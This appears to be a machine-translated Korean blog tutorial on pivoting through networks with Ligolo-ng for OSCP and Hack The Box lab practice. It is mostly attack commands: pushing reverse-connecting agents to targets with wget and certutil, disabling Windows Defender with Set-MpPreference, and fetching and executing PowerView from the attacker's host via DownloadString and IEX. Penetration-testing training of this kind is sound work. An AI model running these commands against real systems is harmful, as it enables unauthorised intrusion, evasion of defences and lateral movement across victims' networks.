본문 바로가기
프로그래밍/리눅스

프로그래밍 「 리눅스 편」Ligolo-ng를 사용하여 네트워크를 터널링하고 피벗하는 방법

by grapedoukan 2023. 6. 11.
728x90

OSCP에 도전하기 위한 여정에서 피벗/터널링이 처음에는 초보자에게 혼란스러운 개념이 될 수 있다는 것을 배웠습니다. 광범위한 연구를 한 후 Ligolo-ng라는 사용하기 쉬운 도구를 발견했습니다. Ligolo-ng는 침투 테스터가 tun 인터페이스(SOCKS 필요 없음)를 사용하여 역방향 TCP/TLS 연결에서 터널을 설정할 수 있는 간단하고 가벼우며 빠른 도구입니다.

이 연습을 따르거나 연습을하려면 Hack The Box Pro 랩에 가입하는 것이 좋습니다. 프로 랩에는 이러한 개념에 대한 편안함을 높이고 OSCP 또는 실제 펜 테스트를 준비하는 데 도움이 되는 많은 피벗/터널링이 포함되어 있습니다.

참고 : 시각적 학습자라면 매우 유용하다고 생각한 이 YouTube 동영상을 추천합니다:)

 

1 단계 :

시작하려면 github의 ligolo-ng 릴리스 페이지에서 에이전트 및 프록시 파일을 다운로드해야 합니다. 에이전트와 프록시는 사용 중인 시스템과 대상 시스템에 따라 다릅니다. 에이전트는 대상 컴퓨터에서 실행되고 프록시 도구는 컴퓨터에서 실행됩니다.

대리인- 대상 컴퓨터

대리- 공격자 컴퓨터(사용자의 컴퓨터)

 

웹 인터페이스에서 수동으로 다운로드하거나 현재 작업 디렉토리에서 wget 명령을 사용하여 가져올 수 있습니다. 모든 도구를 도구에 대해 지정된 폴더와 함께 /opt 디렉토리에 넣고 싶습니다.

cd /opt

mkdir ligolo

cd ligolo

에이전트 파일:

sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz

프록시 파일:

sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz

이제 다음 명령을 사용하여 이러한 파일의 압축을 풀어야 하며 파일을 사용할 특정 시스템으로 이름을 바꾸는 것이 좋습니다.

tar -xvf ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz

ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz

sudo mv proxy lin-proxy

sudo mv agent lin-agent

2 단계 :

ligolo를 시작하기 전에 실행해야 하는 몇 가지 필수 명령이 있습니다. 이 명령은 프록시 서버(C2)에 tun 인터페이스를 만듭니다.

sudo ip tuntap add user [your_username] mode tun ligolo

sudo ip link set ligolo up

컴퓨터에서 ligolo를 실행하십시오.

./lin-proxy -selfcert -laddr 0.0.0.0:443 

메모: 수신할 포트를 선택할 수 있습니다. 이 포트는 대부분의 방화벽에서 알려져 있고 플래그가 지정되지 않기 때문에 443을 선택했습니다.

Ligolo 도구 실행

다른 창에서 위의 명령을 모두 수행하면 에이전트 파일을 대상 컴퓨터로 푸시해야 합니다. 에이전트 파일이 있는 디렉터리에서 python 웹 서버를 실행하여 이 작업을 수행할 수 있습니다.

sudo python -m http.server 80

wget을 사용하여 공격자 컴퓨터에서 에이전트 파일을 가져옵니다.

대상 컴퓨터에서 다음 명령을 실행합니다.

wget http://<your attacker machine IP here>/lin-agent

chmod +x lin-agent

./lin-agent -connect <attacker IP here>:443 -ignore-cert

연결이 설정됨

명령이 대상 컴퓨터에서 성공적으로 실행된 경우 ligolo 도구에 의해 연결이 잡히는 것을 볼 수 있습니다. 위의 예제 스크린샷에 session을 입력하여 도구에서 터널링된 세션을 관리할 수 있으며, 다시 설정되면 세션 간에 전환할 수 있습니다. \

3 단계 :

대상 컴퓨터에서 열거한 경우 컴퓨터가 상호 작용하거나 다른 내부 IP에 대한 연결을 설정하는 다른 네트워크 인터페이스를 검색할 수 있습니다. 이렇게 하면 다른 네트워크로 전환하고 공격을 계속하는 데 도움이 됩니다.

다음 명령을 실행하여 컴퓨터가 상호 작용하는 다른 네트워크를 검색합니다.

리눅스 머신:

netstat -an

ip route

ifconfig

다른 네트워크의 표시기를 보여주는 대상 시스템

이제 다른 호스트에 도달하고 공격하기 위해 피벗하려는 대상 네트워크가 있으므로 ligolo 경로에 추가하고 시작할 수 있습니다.

공격자 컴퓨터 실행 시:

sudo ip route add 192.168.110.0/24 dev ligolo

각 컴퓨터에 대한 경로가 손상되었습니다.

이제 다른 IP에 도달하여 공격을 수행할 수 있어야 ;)

4단계(다음 피벗):

피벗한 서브넷에서 공격을 수행하지 못하도록 도메인 컨트롤러를 보류하고 이 호스트가 Windows에 있고 일부 열거를 수행한 후 다른 서브넷과도 통신하고 있음을 확인했다고 가정해 보겠습니다. 일부 명령을 사용하여 powerview 또는 winPES를 열거하고 활용할 수 있습니다.

PowerView는 Windows 도메인에서 네트워크 상황을 인식할 수 있는 PowerShell 도구입니다. 여기에는 PowerShell AD 후크 및 기본 Win32 API 함수를 활용하여 유용한 Windows 도메인 기능을 수행하는 다양한 Windows "net *" 명령에 대한 순수 PowerShell 대체 집합이 포함되어 있습니다.

Windows 컴퓨터:

netstat -an | findstr "192.168."
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true
(New-Object System.Net.WebClient).DownloadString(‘http://<your IP Here>/powerview.ps1') | IEX
Get-NetForestTrust

위의 열거 기술을 수행한 후 새 서브넷과 상호 작용하고 새 도메인 검색이 수행되고 있음을 알 수 있습니다.

Netstat 출력

제 경우에는 64비트인 대상 아키텍처와 일치하는 Windows 에이전트를 다운로드한 다음 위와 같은 방식으로 컴퓨터에 푸시하지만 이번에는 Windows 시스템이기 때문에 약간 다른 단계입니다..

공격자 컴퓨터에서:

sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Windows_64bit.zip

이전에 파이썬 웹 서버를 이미 실행하고있을 수 있으므로 서비스중인 디렉토리에 동일한 파일이 있는지 확인하십시오.

sudo python -m http.server 80

Windows 시스템에서:

certutil.exe -urlcache -split -f "http://<Your IP Here>:80/win-agent.exe"

이제 에이전트와의 연결을 설정해 보겠습니다.

./win-agent.exe -connect <your IP here>:443 -ignore-cert

ligolo에서 session 명령을 실행할 때 사용할 수 있는 두 개의 세션이 표시되어야 합니다.

이제 다음 IP 경로를 알았으므로 ligolo에 추가하고 시작할 수 있습니다.

리눅스 머신에서:

sudo ip route add 192.168.210.0/24 dev ligolo

명령이 올바르게 추가된 경우 다음이 표시되어야 합니다.

실행 중인 ligolo 인터페이스로 돌아가서 session을 입력하고 새 터널이 있는 시스템을 선택하고 start를 입력합니다. 터널을 전환하려면 예를 선택하기만 하면 됩니다.

이제 두 개의 서로 다른 네트워크로 피벗하는 방법을 배웠어야 합니다. 이 프로세스는 헹구고 네트워크의 다른 컴퓨터가 다른 서브넷과 통신하는 것을 볼 때 반복됩니다. 다른 네트워크 또는 도메인과 통신하는 시스템에 에이전트 파일을 푸시하고 ligolo 인터페이스에 다시 연결한 다음 ligolo 및 type start를 사용하여 해당 IP 서브넷을 라우팅합니다.

이 연습이 도움이 되었기를 바라며, 다른 사람들과 공유하고 질문이 있는 경우 팔로우하고 댓글을 달아주세요!

해킹을 유지하고 게으름을 피우지 마십시오;)

728x90